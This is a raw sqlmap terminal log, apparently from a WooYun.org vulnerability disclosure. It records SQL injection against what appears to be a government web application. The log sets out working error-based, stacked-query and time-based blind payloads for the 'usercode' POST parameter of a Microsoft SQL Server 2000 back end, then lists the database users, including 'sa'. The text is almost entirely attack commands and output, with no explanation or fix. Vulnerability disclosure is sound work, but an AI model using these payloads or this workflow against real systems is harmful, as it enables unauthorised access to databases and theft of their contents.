WooYun.org

root@jack:~# sqlmap -r /root/gov.txt --users
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:14:19
[15:14:19] [INFO] parsing HTTP request from '/root/gov.txt'
[15:14:19] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:14:19] [INFO] testing connection to the target URL
[15:14:19] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: usercode
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: usercode=a' AND 2591=CONVERT(INT,(SELECT CHAR(113)+CHAR(104)+CHAR(111)+CHAR(111)+CHAR(113)+(SELECT (CASE WHEN (2591=2591) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(121)+CHAR(106)+CHAR(102)+CHAR(113))) AND 'MUpy'='MUpy&username=a&usfzh=a
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: usercode=a'; WAITFOR DELAY '0:0:5'--&username=a&usfzh=a
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: usercode=a' WAITFOR DELAY '0:0:5'--&username=a&usfzh=a
---
[15:14:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[15:14:19] [INFO] fetching database users
[15:14:19] [INFO] the SQL query used returns 3 entries
[15:14:20] [INFO] retrieved: BUILTIN\\\\Administrators
[15:14:20] [INFO] retrieved: sa
database management system users [3]:
[*] BUILTIN\\Administrators
[*] sa